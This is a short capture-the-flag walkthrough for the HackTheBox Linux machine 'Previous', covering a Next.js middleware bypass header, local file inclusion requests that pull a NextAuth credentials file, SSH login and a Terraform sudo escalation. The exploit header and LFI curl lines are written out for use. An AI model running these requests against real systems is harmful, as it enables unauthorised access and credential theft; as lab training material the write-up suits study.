Previous writeup & walkthrough

Previous is a medium HackTheBox Linux machine discovered through Nuclei headless scanning, requiring Burp Suite JS interception and custom header injection to exploit.

HackTheBox - Previous

Access Path

no access => user => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Enumeration:

# Nuclei scan with headless mode
nuclei -fr -target http://previous.htb -headless

Burp Suite Configuration:

  • Add interception rules for .js files
  • Add custom header in "Match and Replace" rules:
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
  • Apply to all pages accessing /docs

LFI Exploitation:

# LFI via download API endpoint
curl http://previous.htb/api/download?example=/proc/self/cwd/package.json

# Download and build application locally
npm install
npm run build

# Extract routes manifest
curl http://previous.htb/api/download?example=/proc/self/cwd/.next/routes-manifest.json

# Extract NextAuth credentials
curl http://previous.htb/api/download?example=/proc/self/cwd/.next/server/pages/api/auth/[...nextauth].js

SSH Access:

ssh user@$IP
# Password: [extracted from NextAuth file]

Priv Esc

Exploit: Terraform sudo misconfiguration

  • Reference: https://gist.github.com/strikoder/13843b6b7943a19bcd989de57f8a6880
# Check sudo permissions
sudo -l

# Terraform privilege escalation
[commands from exploit]